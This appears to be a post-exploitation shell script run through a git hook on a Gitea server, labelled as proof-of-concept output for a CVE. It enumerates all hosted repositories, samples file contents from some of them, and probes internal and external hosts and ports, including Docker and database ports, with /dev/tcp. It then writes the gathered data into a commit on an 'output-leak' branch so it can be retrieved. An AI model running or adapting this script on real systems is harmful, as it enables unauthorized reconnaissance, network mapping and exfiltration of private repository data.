#!/bin/sh GD=$(git rev-parse --absolute-git-dir) REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') OUT=$( { echo "---NONEXP---" for g in $(find /data/git/repositories -maxdepth 2 -name "*.git" -type d | sort); do n=${g#/data/git/repositories/} case "$n" in gitea_exp/*) continue;; esac sz=$(du -sh "$g" 2>/dev/null | cut -f1) c=$(git --git-dir="$g" rev-list --all --count 2>/dev/null) msg=$(git --git-dir="$g" log --all -1 --format="%ad|%an|%s" --date=short 2>/dev/null) br=$(git --git-dir="$g" for-each-ref --format='%(refname:short)' refs/heads 2>/dev/null | tr '\n' ',') echo "$n | $sz | c=$c | br=$br | $msg" done echo "---EXPCOUNT---" ls /data/git/repositories/gitea_exp 2>/dev/null | wc -l echo "---EXPSAMPLE---" for g in $(ls -d /data/git/repositories/gitea_exp/*.git 2>/dev/null | head -4); do echo "== ${g#/data/git/repositories/}" git --git-dir="$g" log --all --format="%ad|%an|%s" --date=short 2>/dev/null | head -3 git --git-dir="$g" ls-tree -r --name-only HEAD 2>/dev/null | head -8 done echo "---XX---" for f in /data/XXAdJCcO /data/XXhdIalE; do stat -c '%n %s %y' "$f"; head -c 48 "$f" | od -An -tx1 | head -2; done echo "---GITEADATA---" ls -la /data/gitea 2>/dev/null echo "---NET---" for t in 172.18.0.1:5432 172.18.0.1:2375 172.18.0.2:3000 172.18.0.3:5432 172.18.0.4:5432 172.18.0.4:3000 172.18.0.1:80 172.18.0.1:443 62.32.64.143:443 62.32.64.145:80 62.32.64.148:9000 62.32.64.149:5432 62.32.64.150:4100 62.32.64.150:4101; do ip=${t%:*}; p=${t#*:} timeout 2 bash -c "echo > /dev/tcp/$ip/$p" 2>/dev/null && echo "open $t" || echo "closed $t" done echo DONE } 2>&1; echo "[rc=$?]") BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"